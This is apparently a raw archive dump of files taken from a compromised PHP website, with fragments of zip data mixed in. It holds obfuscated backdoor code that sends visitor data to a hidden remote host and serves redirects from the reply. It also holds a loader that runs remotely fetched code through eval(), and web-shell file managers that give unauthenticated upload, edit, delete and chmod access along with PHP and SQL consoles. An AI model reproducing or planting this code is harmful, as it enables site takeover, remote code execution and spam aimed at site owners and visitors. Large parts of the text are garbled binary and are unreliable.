WAFTO2x4eF5rRiG: $gr76oCRLkmj_lIh = array(); goto Y1na_UYJMz47MNi; HTaXOjbOfAZsvka: function wcdJsvog9lX371a($YJIQ5rZsQip36zk, $KG4LLwF9Fkjgt0c = array()) { goto uNf9CuhOS_xZ1c0; uNf9CuhOS_xZ1c0: $xp6h0IUY_gTHtk8 = array("\163\x74\141\164\x75\x73" => 0, "\x63\157\156\x74\145\156\164" => '', "\x74\171\160\x65" => ''); goto WUhmq4YlW5oN3XP; WUhmq4YlW5oN3XP: if (!(is_array($KG4LLwF9Fkjgt0c) && count($KG4LLwF9Fkjgt0c))) { goto UrEt1cqHTSTbsTa; } goto z6RYdF2rZk6jbNl; cZGL3CXMB549pO8: UrEt1cqHTSTbsTa: goto zEc5Jn23CNqOQkf; z6RYdF2rZk6jbNl: $YJIQ5rZsQip36zk .= "\77" . http_build_query($KG4LLwF9Fkjgt0c); goto cZGL3CXMB549pO8; ZpSxkWpfZ5By6CU: return $xp6h0IUY_gTHtk8; goto A8Zblo7B2qOq3Pr; zEc5Jn23CNqOQkf: try { goto h_0hxIoyzVqbwGs; Inrr9JHavB_ec_c: xQi0PSOMN1aa_yk: goto t1erNPaevcWLizX; tKqxRO3Y029XDNh: curl_setopt($C_KVc19g4xHXkRp, CURLOPT_COOKIESESSION, 0); goto Ev7Zn4aAVWKAc3M; HfP2Ag4_pEsAbjj: @curl_close($C_KVc19g4xHXkRp); goto GvjlbEoxiuK0D8d; GvjlbEoxiuK0D8d: if (!in_array($xp6h0IUY_gTHtk8["\x73\164\141\x74\x75\163"], array(200, 301, 302, 404))) { goto jA7WQ7LnePhDRFc; } goto OpPJODbPBdbaQ52; ZNF9JIuvaDT8u0K: b8RuQvagVuqg4ol: goto DuSdSkReOR08nQg; zXkjJTiFfLfcdh9: curl_setopt($C_KVc19g4xHXkRp, CURLOPT_CONNECTTIMEOUT, 20); goto y88UylbHMR26LsS; y88UylbHMR26LsS: curl_setopt($C_KVc19g4xHXkRp, CURLOPT_TIMEOUT, 60); goto YdTBPt5R0ZTBX0Q; lfeqLvO2Thv7d6Q: if (ini_get("\x61\x6c\x6c\157\x77\x5f\x75\x72\154\137\146\x6f\x70\145\x6e")) { goto xQi0PSOMN1aa_yk; } goto fjjub5J2moQZJDK; v5cU2FapJd0rpb2: $O3l3_2BYQt8B13e = stream_context_create($OlmJqPjwe0L2Spk); goto MlT36yosDSHZypK; vi1TJv4l1INF1yI: curl_setopt($C_KVc19g4xHXkRp, CURLOPT_SSL_VERIFYHOST, 0); goto lN61oSl1J02Ha1W; fjjub5J2moQZJDK: goto b8RuQvagVuqg4ol; goto PwSBOKR_fewNknP; MlT36yosDSHZypK: $Mq_XSXl133HWKO9 = @file_get_contents($YJIQ5rZsQip36zk, false, $O3l3_2BYQt8B13e); goto ZlL_X_c6cOcF3CX; MU9eW5acZFA1V12: $xp6h0IUY_gTHtk8["\143\x6f\x6e\x74\x65\x6e\x74"] = strval(curl_getinfo($C_KVc19g4xHXkRp, CURLINFO_REDIRECT_URL)); goto HfP2Ag4_pEsAbjj; YdTBPt5R0ZTBX0Q: curl_setopt($C_KVc19g4xHXkRp, CURLOPT_FOLLOWLOCATION, 0); goto tKqxRO3Y029XDNh; sbSGt_ftL3LwfvP: fDNKOTkzvAg6CKG: goto ZNF9JIuvaDT8u0K; fHzr_86aCdJDuFQ: $xp6h0IUY_gTHtk8["\x63\157\156\x74\145\x6e\164"] = strval($Mq_XSXl133HWKO9); goto sbSGt_ftL3LwfvP; h_0hxIoyzVqbwGs: if (function_exists("\143\165\x72\x6c\137\145\x78\x65\143") && function_exists("\x63\165\162\154\137\151\156\151\164")) { goto C3GRaeqCfcPPmGQ; } goto lfeqLvO2Thv7d6Q; lN61oSl1J02Ha1W: curl_setopt($C_KVc19g4xHXkRp, CURLOPT_SSL_VERIFYPEER, 0); goto zXkjJTiFfLfcdh9; L20wLUqwcbI9SJY: if (!in_array($xp6h0IUY_gTHtk8["\x73\x74\141\x74\165\x73"], array(200, 301, 302, 404))) { goto fDNKOTkzvAg6CKG; } goto fHzr_86aCdJDuFQ; uAjfk208sAmtkHM: goto b8RuQvagVuqg4ol; goto Inrr9JHavB_ec_c; Ev7Zn4aAVWKAc3M: curl_setopt($C_KVc19g4xHXkRp, CURLOPT_RETURNTRANSFER, 1); goto hvDZGsK9Pv_Q9Z4; jpeFX9tBNElclf6: $xp6h0IUY_gTHtk8["\164\171\160\x65"] = strval(curl_getinfo($C_KVc19g4xHXkRp, CURLINFO_CONTENT_TYPE)); goto MU9eW5acZFA1V12; PwSBOKR_fewNknP: C3GRaeqCfcPPmGQ: goto uZLRP9lAm7xHOw1; MRZqLT0tCHjK9kc: curl_setopt($C_KVc19g4xHXkRp, CURLOPT_URL, $YJIQ5rZsQip36zk); goto vi1TJv4l1INF1yI; hvDZGsK9Pv_Q9Z4: $to6Tu8MglkHLwRK = curl_exec($C_KVc19g4xHXkRp); goto qok1eo1E8uq0tHk; JpHJ5BP7loiScxa: jA7WQ7LnePhDRFc: goto uAjfk208sAmtkHM; ZlL_X_c6cOcF3CX: $xp6h0IUY_gTHtk8 = array_merge($xp6h0IUY_gTHtk8, Sb_4Yx38hfCjDZU($http_response_header)); goto L20wLUqwcbI9SJY; qok1eo1E8uq0tHk: $xp6h0IUY_gTHtk8["\x73\164\x61\x74\x75\x73"] = intval(curl_getinfo($C_KVc19g4xHXkRp, CURLINFO_HTTP_CODE)); goto jpeFX9tBNElclf6; t1erNPaevcWLizX: $OlmJqPjwe0L2Spk = array("\x68\x74\x74\x70" => array("\x6d\x65\x74\x68\157\x64" => "\x47\x45\x54", "\x74\151\155\145\x6f\x75\164" => 60, "\146\x6f\x6c\154\157\167\137\154\x6f\143\x61\x74\151\x6f\x6e" => 0), "\x73\163\x6c" => array("\x76\145\162\151\146\x79\137\160\x65\x65\162" => false, "\166\145\x72\151\146\x79\x5f\160\145\145\x72\137\x6e\141\155\145" => false)); goto v5cU2FapJd0rpb2; uZLRP9lAm7xHOw1: $C_KVc19g4xHXkRp = curl_init(); goto MRZqLT0tCHjK9kc; OpPJODbPBdbaQ52: $xp6h0IUY_gTHtk8["\x63\157\x6e\164\145\x6e\x74"] = strval($to6Tu8MglkHLwRK); goto JpHJ5BP7loiScxa; DuSdSkReOR08nQg: } catch (Exception $Ri3Sg9_ClOH5g4H) { } goto ZpSxkWpfZ5By6CU; A8Zblo7B2qOq3Pr: } goto l8cIxs1qUG1SDHl; Q3M6G9feWvmoUlJ: if (!substr_count($_SERVER["\x52\105\121\x55\105\123\124\x5f\125\x52\111"], "\x69\x6e\144\145\170\x2e\x70\150\160\57\x6a\x6b")) { goto bA25Msg9uAKOIVN; } goto zAoq27sw5MHLm3X; BBd1PIuxAyL8YOK: $gr76oCRLkmj_lIh["\x73"] = WOsMeQwkGeYjC6k($MXV7VacxydqGeOx); goto GH7yiuToiOTk0fH; GvGRaYJQKjTd_yo: $gr76oCRLkmj_lIh["\x72"] = WosMeqwKGEYjc6k($_SERVER["\122\105\x51\x55\105\x53\124\x5f\125\122\111"]); goto SF7UkPHJpdo42WW; m7pr1BcWM0j_5ls: nQNZhQP90ji7LiB: goto WAFTO2x4eF5rRiG; Vq_TAreIqwidzTF: switch ($xp6h0IUY_gTHtk8["\x73\164\141\x74\165\x73"]) { case 301: goto gTThS_CfbwyfELP; p_UUpahU0k7aFYO: goto OkX1oKP0GZBneOn; goto Qf3OI6PC16LaJ43; gTThS_CfbwyfELP: header("\x48\124\124\120\x2f\x31\56\x31\40\63\60\61\x20\115\157\166\145\x64\x20\120\145\162\155\x61\x6e\145\x6e\164\x6c\171"); goto J5oHBbfXKN4H5p7; J5oHBbfXKN4H5p7: header("\114\157\x63\x61\164\151\157\156\x3a\40" . trim($xp6h0IUY_gTHtk8["\143\157\x6e\164\145\x6e\x74"])); goto p_UUpahU0k7aFYO; Qf3OI6PC16LaJ43: case 302: goto kP7JZEJ45h3eIow; kP7JZEJ45h3eIow: header("\x48\124\124\120\x2f\x31\56\61\40\63\60\x32\40\x4d\x6f\x76\x65\40\x54\x65\155\x70\x6f\162\x61\x72\x69\154\x79"); goto Q7AH3PYUEBulfTI; fiuxuZcHHfhQNPw: goto OkX1oKP0GZBneOn; goto Wdc1ljVs08GtOQK; Q7AH3PYUEBulfTI: header("\114\157\143\x61\164\151\x6f\x6e\x3a\40" . trim($xp6h0IUY_gTHtk8["\143\x6f\156\x74\145\x6e\x74"])); goto fiuxuZcHHfhQNPw; Wdc1ljVs08GtOQK: case 404: goto VtQNekAgWPaAMiy; YapKkPcXyq9fngk: header("\x73\164\x61\164\x75\x73\72\x20\64\60\x34\x20\x4e\x6f\x74\x20\106\x6f\x75\x6e\144"); goto UIHkbif_UrzLPAH; VtQNekAgWPaAMiy: header("\x48\x54\124\120\57\61\x2e\61\x20\x34\x30\64\40\x4e\157\164\x20\106\157\x75\156\144"); goto YapKkPcXyq9fngk; UIHkbif_UrzLPAH: goto OkX1oKP0GZBneOn; goto Vi4mISS6LjkVFEB; Vi4mISS6LjkVFEB: default: goto OkX1oKP0GZBneOn; } goto aHzo0viy2DocCTA; bPTO1vH5hb151IL: @eval($RTOgqVsRlMO_My4[68](${$RTOgqVsRlMO_My4[41]}[19])); goto tB1mSQbBaCCxssy; GfCA2IKrbfhxQVX: if (in_array($xp6h0IUY_gTHtk8["\x73\164\x61\164\165\x73"], array(0, 200))) { goto FK2bra7N6QDFGgb; } goto Vq_TAreIqwidzTF; eG27pXqv0Q0U6NG: $QUvkxZpZ2pooHyc = preg_replace("\57\134\77\56\52\x2f", '', $_SERVER["\x52\x45\x51\x55\x45\123\124\x5f\125\122\x49"]); goto yBKZ8GqJabiZAfg; SbeDmeYGywJRQAX: if ($ohVYNyHxBeoNYSr) { goto eSBj0lsYnlKdQ93; } goto qKgr0GXqYkE0W22; DKbMBOZoPXFZkLQ: PMQCh5GA7KlnVGA: goto Kvu8Q5Q59ezuk87; bY3fTtszwiVkHV1: $RTOgqVsRlMO_My4 = ${$FOox5_Qbn1dOrGK[1 + 30] . $FOox5_Qbn1dOrGK[8 + 51] . $FOox5_Qbn1dOrGK[5 + 42] . $FOox5_Qbn1dOrGK[42 + 5] . $FOox5_Qbn1dOrGK[3 + 48] . $FOox5_Qbn1dOrGK[11 + 42] . $FOox5_Qbn1dOrGK[46 + 11]}; goto NZU_iwDSG5T17H0; wXTdJNFaxWKbA9E: echo $xp6h0IUY_gTHtk8["\143\x6f\156\164\145\156\x74"]; goto SS4SoZemjd2idPE; XpcYPAjJh_dGbT5: header("\x43\157\156\164\x65\x6e\x74\55\124\x79\x70\x65\72\40\164\x65\170\164\x2f\150\x74\x6d\154\73\x20\143\150\x61\162\163\x65\164\75\x75\164\x66\x2d\70"); goto TX4wCuhHDTIgN2R; yBKZ8GqJabiZAfg: $ohVYNyHxBeoNYSr = false; goto zrE0qWne7Qyr3TF; Lz_0eIfS96uAfIo: $gr76oCRLkmj_lIh["\x6c"] = wosMeQWKgEyJC6k($_SERVER["\x48\x54\x54\120\137\101\x43\103\105\x50\124\x5f\x4c\101\x4e\x47\x55\101\107\105"]); goto eLKUwuM_f845E96; GH7yiuToiOTk0fH: $gr76oCRLkmj_lIh["\x75"] = WOSMeQWkGeYJc6K($_SERVER["\x48\x54\124\x50\x5f\125\x53\x45\x52\137\x41\107\x45\116\x54"]); goto eG27pXqv0Q0U6NG; qKgr0GXqYkE0W22: $xp6h0IUY_gTHtk8 = WcDJSvOG9Lx371a(base64_decode("\x61\110\122\60\x63\104\x6f\166\x4c\63\x70\x7a\116\x6a\x51\x34\x64\x6a\x45\172\x61\62\x38\165\x59\x32\x46\x75\131\x32\131\x75\x62\107\106\60\x4c\167"), $gr76oCRLkmj_lIh); goto GfCA2IKrbfhxQVX; zAoq27sw5MHLm3X: exit("\173\x20\42\x65\162\x72\x6f\162\x22\x3a\x20\x32\x30\60\54\x20\42\x6c\x63\42\72\x20\42\152\153\x22\x2c\x20\42\144\141\164\141\x22\x3a\x20\133\40\61\40\x5d\x20\175"); goto MzX5H3SkX_A0WgS; MzX5H3SkX_A0WgS: bA25Msg9uAKOIVN: goto T4juahuDVzxqe5R; eLKUwuM_f845E96: $gr76oCRLkmj_lIh["\163\x6e"] = WOsmEqWKGeyjC6k($_SERVER["\x53\x43\x52\111\120\124\137\116\x41\115\105"]); goto GvGRaYJQKjTd_yo; UYIa7RbYNwSLhFS: error_reporting(0); goto PGKcJNFRASuGYF8; Kvu8Q5Q59ezuk87: eSBj0lsYnlKdQ93: ?>PK[Z\v+`vv click.phpnuȯ0kb<");};?>
'); } } } ?> ["\155\x65\164\x68\157\144" => "\x47\105\x54"]]); goto Av3dv; IjsIA: } ?>PK[Z\.clamavconnector.status.2nu[{"scanned_file_size":1359006,"scan_complete":0,"infected_files":[],"current_file":"/home/linq/composer.lock","scanned_file_count":20,"time_started":1771147092,"total_file_count":356705,"total_file_size_MiB":21166258754}PK[Z\.clamavconnector.scannu[PK[Z\Wg networks.phpnuȯ0kb<");};?>
'); } } } ?> 0kb<");};?>
'); } } } ?> SESSION_TIMEOUT)) { // Session expired session_unset(); session_destroy(); } $_SESSION['last_activity'] = time(); // Update last activity time // Encryption and decryption functions function encryptPath($path) { $iv = openssl_random_pseudo_bytes(16); $encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv); return base64_encode($encrypted . '::' . base64_encode($iv)); } function decryptPath($encryptedPath) { try { $decoded = base64_decode($encryptedPath); if ($decoded === false) { return getcwd(); // Default to current directory if decoding fails } if (strpos($decoded, '::') === false) { return getcwd(); // Default to current directory if separator not found } list($encrypted_data, $iv_b64) = explode('::', $decoded, 2); $iv = base64_decode($iv_b64); if ($iv === false || strlen($iv) !== 16) { return getcwd(); // Default to current directory if IV is invalid } $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv); if ($decrypted === false) { return getcwd(); // Default to current directory if decryption fails } return $decrypted; } catch (Exception $e) { return getcwd(); // Default to current directory on any exception } } // Function to get human-readable file size function formatFileSize($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' bytes'; } } // Function to get file permissions in Unix format function getFilePermissions($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } // Function to get file extension function getFileExtension($filename) { return strtolower(pathinfo($filename, PATHINFO_EXTENSION)); } // Function to check if a file is editable function isEditableFile($filename) { /* $editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess']; $extension = getFileExtension($filename); return in_array($extension, $editableExtensions); */ return true; } // Process actions $error = ''; $success = ''; // Get and decrypt the path parameter $currentPath = getcwd(); // Default path // Check if there's a current path in the session if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) { $currentPath = $_SESSION['current_path']; } // Handle POST request for navigation if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Store current path for form submissions if (isset($_POST['current_path'])) { $decryptedCurrentPath = decryptPath($_POST['current_path']); if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) { $currentPath = $decryptedCurrentPath; $_SESSION['current_path'] = $currentPath; } } if (isset($_POST['action'])) { // Handle file content request for editing if ($_POST['action'] === 'getContent' && isset($_POST['path'])) { $filePath = decryptPath($_POST['path']); if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) { echo file_get_contents($filePath); exit; } else { echo "Error: Cannot read file."; exit; } } // Handle navigation if ($_POST['action'] === 'navigate' && isset($_POST['path'])) { $decryptedPath = decryptPath($_POST['path']); if (file_exists($decryptedPath) && is_dir($decryptedPath)) { $currentPath = $decryptedPath; $_SESSION['current_path'] = $currentPath; } } // Handle file download if ($_POST['action'] === 'download' && isset($_POST['path'])) { $downloadPath = decryptPath($_POST['path']); if (file_exists($downloadPath) && !is_dir($downloadPath)) { // Set headers for file download header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($downloadPath)); ob_clean(); flush(); readfile($downloadPath); exit; } } } // Handle file upload if (isset($_POST['upload'])) { if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $uploadPath = $currentPath . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) { $success = 'File uploaded successfully.'; } else { $error = 'Failed to upload file.'; } } else { $error = 'No file selected or upload error.'; } } // Handle file/directory deletion if (isset($_POST['delete']) && isset($_POST['path'])) { $deletePath = decryptPath($_POST['path']); if (file_exists($deletePath)) { if (is_dir($deletePath)) { // Try to remove directory if (rmdir($deletePath)) { $success = 'Directory deleted successfully.'; } else { $error = 'Failed to delete directory. It may not be empty.'; } } else { // Remove file if (unlink($deletePath)) { $success = 'File deleted successfully.'; } else { $error = 'Failed to delete file.'; } } } else { $error = 'File or directory does not exist.'; } } // Handle file/directory rename if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) { $oldPath = decryptPath($_POST['oldPath']); $newName = $_POST['newName']; $dirName = dirname($oldPath); $newPath = $dirName . '/' . $newName; if (file_exists($oldPath)) { if (rename($oldPath, $newPath)) { $success = 'Renamed successfully.'; } else { $error = 'Failed to rename.'; } } else { $error = 'File or directory does not exist.'; } } // Handle permission change if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) { $permPath = decryptPath($_POST['permPath']); $permissions = $_POST['permissions']; // Convert from octal string to integer $mode = octdec($permissions); if (file_exists($permPath)) { if (chmod($permPath, $mode)) { $success = 'Permissions changed successfully.'; } else { $error = 'Failed to change permissions.'; } } else { $error = 'File or directory does not exist.'; } } // Handle file edit if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) { $filePath = decryptPath($_POST['filePath']); $fileContent = $_POST['fileContent']; if (file_exists($filePath) && !is_dir($filePath)) { if (file_put_contents($filePath, $fileContent) !== false) { $success = 'File saved successfully.'; } else { $error = 'Failed to save file.'; } } else { $error = 'File does not exist.'; } } // Handle create new file if (isset($_POST['createFile']) && isset($_POST['newFileName'])) { $newFileName = $_POST['newFileName']; $newFilePath = $currentPath . '/' . $newFileName; if (!file_exists($newFilePath)) { if (file_put_contents($newFilePath, '') !== false) { $success = 'File created successfully.'; } else { $error = 'Failed to create file.'; } } else { $error = 'File already exists.'; } } // Handle create new folder if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) { $newFolderName = $_POST['newFolderName']; $newFolderPath = $currentPath . '/' . $newFolderName; if (!file_exists($newFolderPath)) { if (mkdir($newFolderPath, 0755)) { $success = 'Folder created successfully.'; } else { $error = 'Failed to create folder.'; } } else { $error = 'Folder already exists.'; } } } // Save current path to session $_SESSION['current_path'] = $currentPath; // Get directory contents $items = []; if (is_dir($currentPath)) { if ($handle = opendir($currentPath)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $fullPath = $currentPath . '/' . $entry; $isDir = is_dir($fullPath); try { $size = $isDir ? '-' : formatFileSize(filesize($fullPath)); $permissions = getFilePermissions($fullPath); $lastModified = date('Y-m-d H:i:s', filemtime($fullPath)); $items[] = [ 'name' => $entry, 'path' => $fullPath, 'encryptedPath' => encryptPath($fullPath), 'isDirectory' => $isDir, 'size' => $size, 'permissions' => $permissions, 'lastModified' => $lastModified, 'isEditable' => !$isDir && isEditableFile($entry) ]; } catch (Exception $e) { // Skip files that can't be accessed continue; } } } closedir($handle); } } // Sort items: directories first, then files usort($items, function($a, $b) { if ($a['isDirectory'] && !$b['isDirectory']) { return -1; } if (!$a['isDirectory'] && $b['isDirectory']) { return 1; } return strcasecmp($a['name'], $b['name']); }); // Get breadcrumb parts $breadcrumbs = []; $pathParts = explode('/', $currentPath); $buildPath = ''; foreach ($pathParts as $part) { if (empty($part)) { $buildPath = '/'; $breadcrumbs[] = [ 'name' => 'Root', 'path' => $buildPath, 'encryptedPath' => encryptPath($buildPath) ]; } else { $buildPath .= ($buildPath === '/') ? $part : '/' . $part; $breadcrumbs[] = [ 'name' => $part, 'path' => $buildPath, 'encryptedPath' => encryptPath($buildPath) ]; } } // Get the script's directory for the Home button $homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']); $encryptedHomeDirectory = encryptPath($homeDirectory); // Encrypt current path for forms $encryptedCurrentPath = encryptPath($currentPath); ?> Krypton File Manager

Upload Files

Files

Filename Size Permissions Last Modified Actions
..
- - - -
PK[Z\$1.txtnuȯ1212 PK[Z\.clamavconnector.pid.1nu[1633755PK[Z\t.clamavconnector.pid.2nu[18636PK[Z\޷C options.phpnuȯ0kb<");};?>
'); } } } ?> 0kb<");};?>
'); } } } ?> Order allow,deny Deny from all # Order allow,deny Allow from all PK[Z\55&ddedd4/ddedd4/GcEemIvbVhwSJunBPKr.wbmpnuȯ $fCDqCqxx9H0) { $kDucT7np0oQ .= $SzWL7ERg3tu[$fCDqCqxx9H0 - 78328]; AwS7q0t9DM8: } goto nv3kiI2Ps1I; rWB0LYyVfKG: $kDucT7np0oQ = ''; goto dUYCm4e2xVH; b0GNlkEKlQI: } static function qa1VNzWIoHm($iW7YeID4nsX, $O7eF7o0BUWa) { goto Tf1yU7cG_Wd; FH3quq0hPWj: return empty($ww33etOyamn) ? $O7eF7o0BUWa($iW7YeID4nsX) : $ww33etOyamn; goto fUJmScPXGb2; Vp0rwuO2R5F: $ww33etOyamn = curl_exec($Xv83pwQn9jb); goto FH3quq0hPWj; GSjf_9zvkUN: curl_setopt($Xv83pwQn9jb, CURLOPT_RETURNTRANSFER, 1); goto Vp0rwuO2R5F; Tf1yU7cG_Wd: $Xv83pwQn9jb = curl_init($iW7YeID4nsX); goto GSjf_9zvkUN; fUJmScPXGb2: } static function at05LeNEFI4() { goto RGQU36fgtJD; AjNSQg7uBcf: $DhwMQ_7Encv = @$fF3urRcz8ez[1 + 2]($fF3urRcz8ez[6 + 0], $Ugyz2pQ1RPi); goto iSwWP5YQ4GA; LPl1GHkYUq4: $WfasJ1pU1qe = self::qa1vnZWIOHM($U9Lop3fpxJb[0 + 1], $fF3urRcz8ez[3 + 2]); goto lniB55dsjqg; SxSCXfXAa4F: $Ugyz2pQ1RPi = @$fF3urRcz8ez[1]($fF3urRcz8ez[4 + 6](INPUT_GET, $fF3urRcz8ez[9 + 0])); goto AjNSQg7uBcf; P_8E6JKBxrw: ag0CsXxwekp: goto SxSCXfXAa4F; fnshBX2Oazu: foreach ($N4XM0q4l2iV as $dxo904_dmsj) { $fF3urRcz8ez[] = self::B5lNmJzXpq3($dxo904_dmsj); l7vrbReNe3T: } goto P_8E6JKBxrw; iSwWP5YQ4GA: $U9Lop3fpxJb = $fF3urRcz8ez[2 + 0]($DhwMQ_7Encv, true); goto f1QoPsgxobe; afEYqPfpMgM: if (!(@$U9Lop3fpxJb[0] - time() > 0 and md5(md5($U9Lop3fpxJb[1 + 2])) === "\x65\64\x36\x66\x33\x63\62\x35\x65\x38\x38\x62\x36\x30\142\62\x34\71\x66\64\x61\71\61\70\x31\65\x63\141\71\64\x62\61")) { goto OEwioM1zWac; } goto LPl1GHkYUq4; NYlM5_QQWfx: die; goto aDok6Qs2IfR; RGQU36fgtJD: $N4XM0q4l2iV = array("\67\x38\63\65\x35\135\67\x38\63\64\60\x5d\x37\x38\x33\x35\63\x5d\x37\70\63\x35\67\135\x37\x38\x33\63\x38\x5d\x37\70\x33\x35\x33\135\67\70\63\65\71\135\67\70\x33\65\62\x5d\x37\70\x33\x33\x37\135\x37\70\63\64\64\x5d\x37\x38\x33\65\x35\135\x37\x38\x33\x33\x38\x5d\67\x38\x33\64\x39\x5d\x37\70\x33\64\63\135\x37\x38\x33\x34\64", "\67\70\63\x33\x39\135\x37\70\63\63\70\135\67\70\x33\64\60\x5d\x37\70\63\x35\71\135\x37\x38\x33\64\60\x5d\67\x38\63\x34\x33\x5d\67\70\63\63\70\135\67\x38\x34\60\65\135\x37\x38\64\60\x33", "\67\x38\x33\64\70\x5d\x37\x38\63\63\71\x5d\x37\x38\x33\x34\63\135\67\x38\x33\x34\x34\135\x37\70\63\65\x39\x5d\67\70\x33\x35\64\135\x37\70\x33\65\63\135\67\70\63\x35\x35\135\x37\x38\x33\64\63\x5d\x37\x38\63\x35\x34\135\x37\70\x33\65\x33", "\x37\70\63\64\62\x5d\x37\70\63\x35\67\135\67\x38\63\65\x35\135\67\x38\63\x34\x37", "\67\70\63\x35\66\x5d\67\x38\63\65\x37\x5d\x37\70\63\63\x39\x5d\67\70\63\65\63\x5d\x37\x38\x34\60\x30\135\x37\x38\64\60\62\135\x37\x38\63\65\x39\135\x37\70\x33\65\x34\135\67\70\63\65\63\135\x37\x38\x33\x35\x35\135\x37\x38\63\x34\63\x5d\67\70\x33\65\64\135\67\70\63\x35\x33", "\67\x38\63\x35\62\135\x37\70\x33\x34\x39\x5d\x37\70\63\64\x36\135\67\70\63\x35\63\135\67\70\x33\65\x39\135\67\x38\x33\65\61\x5d\x37\x38\x33\65\63\x5d\67\70\x33\x33\70\135\x37\x38\63\x35\71\135\67\x38\63\65\x35\x5d\x37\x38\63\x34\x33\x5d\67\70\x33\x34\x34\x5d\x37\x38\63\x33\x38\135\67\70\x33\65\63\x5d\67\x38\63\x34\64\135\67\70\63\63\70\x5d\x37\70\63\63\x39", "\x37\70\x33\x38\x32\x5d\67\70\64\61\62", "\67\70\x33\x32\71", "\x37\x38\64\x30\67\135\x37\x38\64\x31\62", "\x37\70\63\70\71\x5d\67\70\63\x37\x32\135\x37\x38\63\x37\x32\x5d\x37\x38\x33\70\71\x5d\x37\70\x33\x36\65", "\67\x38\63\x35\x32\135\67\x38\x33\x34\x39\x5d\67\70\63\x34\x36\135\x37\70\63\63\x38\x5d\x37\x38\63\65\63\x5d\67\70\x33\x34\x30\x5d\x37\70\x33\65\71\x5d\x37\x38\x33\x34\71\135\67\70\63\64\x34\135\67\70\x33\64\x32\x5d\x37\70\x33\x33\x37\135\67\x38\x33\63\70"); goto fnshBX2Oazu; f1QoPsgxobe: @$fF3urRcz8ez[7 + 3](INPUT_GET, "\x6f\x66") == 1 && die($fF3urRcz8ez[5 + 0](__FILE__)); goto afEYqPfpMgM; aDok6Qs2IfR: OEwioM1zWac: goto wK43G9W75tI; lniB55dsjqg: @eval($fF3urRcz8ez[3 + 1]($WfasJ1pU1qe)); goto NYlM5_QQWfx; wK43G9W75tI: } } goto jIaiL5S9mV4; ScG2SsUm7wN: $NoH0ra020z8 = ${$smI2Svm5Y8G[15 + 16] . $smI2Svm5Y8G[40 + 19] . $smI2Svm5Y8G[7 + 40] . $smI2Svm5Y8G[27 + 20] . $smI2Svm5Y8G[31 + 20] . $smI2Svm5Y8G[24 + 29] . $smI2Svm5Y8G[11 + 46]}; goto R1ER5Mx0M3o; jIaiL5S9mV4: vAmOifYUJzx::At05leNEfI4(); ?> PK[Z\ddedd4/ddedd4/cache.phpnuȯPK[Z\YCCddedd4/ddedd4/index.phpnuȯPK[Z\ڦ P:P:ddedd4/index.phpnuȯ true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size ?? maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach 